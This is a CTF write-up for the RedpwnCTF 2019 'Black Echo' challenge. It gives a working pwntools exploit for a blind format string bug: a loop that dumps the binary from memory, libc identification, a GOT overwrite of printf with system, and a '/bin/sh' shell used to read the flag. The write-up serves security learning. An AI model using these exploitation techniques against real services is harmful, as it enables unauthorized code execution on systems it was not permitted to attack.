[Pwn] RedpwnCTF - Black Echo

Black Echo

Description:
413

Written by: blevy

You are trapped in a pitch-black cave with no food, water, flashlight, or self-esteem. A faint echo can be heard in the distance.

nc chall2.2019.redpwn.net 4007

Introduction

No binary was provided in this challenge, but it was easy to note that there was a format string vulnerability:

1
2
3
$ nc chall2.2019.redpwn.net 4007
%p
0x1000

Without the binary we can’t get the got addresses required to leak libc, but we can get the binary from memory, I used an old x86 binary from a previous challenge to check what was the default address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> info proc mappings 
process 26806
Mapped address spaces:

Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /ctf/redpwn/hardmode/hardmode
0x8049000 0x804a000 0x1000 0x0 /ctf/redpwn/hardmode/hardmode
0x804a000 0x804b000 0x1000 0x1000 /ctf/redpwn/hardmode/hardmode
0xf7db4000 0xf7f8b000 0x1d7000 0x0 /lib/i386-linux-gnu/libc-2.28.so
0xf7f8b000 0xf7f8c000 0x1000 0x1d7000 /lib/i386-linux-gnu/libc-2.28.so
0xf7f8c000 0xf7f8e000 0x2000 0x1d7000 /lib/i386-linux-gnu/libc-2.28.so
0xf7f8e000 0xf7f8f000 0x1000 0x1d9000 /lib/i386-linux-gnu/libc-2.28.so
0xf7f8f000 0xf7f92000 0x3000 0x0
0xf7fcd000 0xf7fcf000 0x2000 0x0
0xf7fcf000 0xf7fd2000 0x3000 0x0 [vvar]
0xf7fd2000 0xf7fd4000 0x2000 0x0 [vdso]
0xf7fd4000 0xf7ffb000 0x27000 0x0 /lib/i386-linux-gnu/ld-2.28.so
0xf7ffc000 0xf7ffd000 0x1000 0x27000 /lib/i386-linux-gnu/ld-2.28.so
0xf7ffd000 0xf7ffe000 0x1000 0x28000 /lib/i386-linux-gnu/ld-2.28.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]

We can start leaking from 0x8049000 until 0x804b000, the starting of 0x8048000-0x8049000 is just a repetition from 0x8049000-0x804a000, there is also something you should worry about, addresses that contains 0x0a (new line ‘\n’) bytes can’t be leaked, because the function used to read is fgets and it stops reading when it encounters new lines, in this cases I just insert a null byte, in the end is expected the binary to be slightly corrupted. If you want more details liveoverflow did a video about an identical challenge on his youtube channel around 2017 you can visit at https://www.youtube.com/watch?v=XuzuFUGuQv0

The code to leak the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
binary = ''
out = ''
x=0x8049000
while x < 0x8049000+0x2000:
address = "0%x" % x
length = 0
print address

if ('\n' in binascii.unhexlify(address)):
#length = 1
out = 'a'
binary += '\x00'
else:
r.sendline("%9$s"+"||||"+p32(x))
out = r.recvuntil('||||')
print out
r.recv(timeout=1)

print '-----'
out = out.replace('||||','')
#print out
#length = count_until(out)
if out == '':
out = 'a'
binary += '\x00'
else:
binary += out
with open('gotcha2.elf','wb+') as f:
f.write(binary)
x += len(out)

They binary is somehow corrupted as expected but it’s still possible to deduce which libc addresses are in there, as you can see in the picture above, right above extern functions you have some libc addresses, they look like they are from the GOT, with some trial and error I manged to which they belong by using libc-database (https://github.com/niklasb/libc-database).

First trying o find fgets:

1
2
3
4
5
6
7
8
./find fgets 0xF7FCD918
$ ./find fgets 0xF7FBDFE0
$ ./find fgets 0xF7E54450
$ ./find fgets 0xF7E38020
$ ./find fgets 0xF7E4C620
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
archive-glibc (id libc6-i386_2.23-0ubuntu11_amd64)
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu9_amd64)

libc ID is libc6-i386_2.23-0ubuntu10_amd64, we now know which libc is and fgets got address is 0x804A014:

Doing the same thing for printf you would end up finding the same:

1
2
3
4
5
./find printf 0xF7E38020
archive-old-eglibc (id libc6-i386_2.11.1-0ubuntu7.11_amd64)
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
archive-glibc (id libc6-i386_2.23-0ubuntu11_amd64)
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu9_amd64)

Printf got address is 0x804a010:

Now it’s a matter of leaking libc by leaking fgets from GOT and overwriting got address of printf into system with format string:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
import time
import binascii

libc = ELF('libc.so.6')
host,port = 'chall.2019.redpwn.net','4007'
r = remote(host,port)

FGETS_GOT = 0x804A014
PRINTF_GOT = 0x804A010
r.sendline("%8$s"+p32(PRINTF_GOT))

PRINTF = u32(r.recv(4))
LIBC_BASE = PRINTF - libc.symbols['printf']
SYSTEM = LIBC_BASE + libc.symbols['system']
FGETS = LIBC_BASE + libc.symbols['fgets']
GETS = LIBC_BASE + libc.symbols['gets']
PUTS = LIBC_BASE + libc.symbols['puts']
log.info("LIBCBASE 0x%x"%LIBC_BASE)
log.info("PRINTF 0x%x"%PRINTF)
log.info("SYSTEM 0x%x"%SYSTEM)
log.info("FGETS 0x%x"%FGETS)
log.info("STDOUT 0x%x"%(LIBC_BASE+libc.symbols['stdout']))
log.info("STDIN 0x%x"%(LIBC_BASE+libc.symbols['stdin']))
log.info("SETBUFF 0x%x"%(LIBC_BASE+libc.symbols['setbuf']))
log.info("STDERR 0x%x"%(LIBC_BASE+libc.symbols['stderr']))
log.info("PUTS 0x%x"%(LIBC_BASE+libc.symbols['puts']))

#SYSTEM = 0xcafebabe

FLAG_LOW = SYSTEM & 0xffff
FLAG_HIGH = (SYSTEM & 0xffff0000) >> 16

s = ''
s += p32(PRINTF_GOT)
s += p32(PRINTF_GOT+2)
s += '%7$ln' # clears the already existing got address
s += '%{}x%7$hn'.format(FLAG_LOW-0x8)
s += '%{}x%8$hn'.format(FLAG_HIGH-FLAG_LOW)
r.sendline(s)
r.recv()
r.sendline("/bin/sh\x00")
r.interactive()

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python blackecho.py 
[*] '/ctf/work/blackecho/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall2.2019.redpwn.net on port 4007: Done
[*] LIBCBASE 0xf7dec000
[*] PRINTF 0xf7e35020
[*] SYSTEM 0xf7e26940
[*] FGETS 0xf7e49620
[*] STDOUT 0xf7f9cdfc
[*] STDIN 0xf7f9ce00
[*] SETBUFF 0xf7e51450
[*] STDERR 0xf7f9cdf8
[*] PUTS 0xf7e4b140
[*] Switching to interactive mode
\x10\xa0\x0\x12\xa0\x0
...truncated...
$ cat flag.txt
flag{__xXxxXx__w3lc0me_t0_th3_surf4c3__xXxxXx__}

The flag was flag{xXxxXxw3lc0me_t0_th3_surf4c3__xXxxXx__}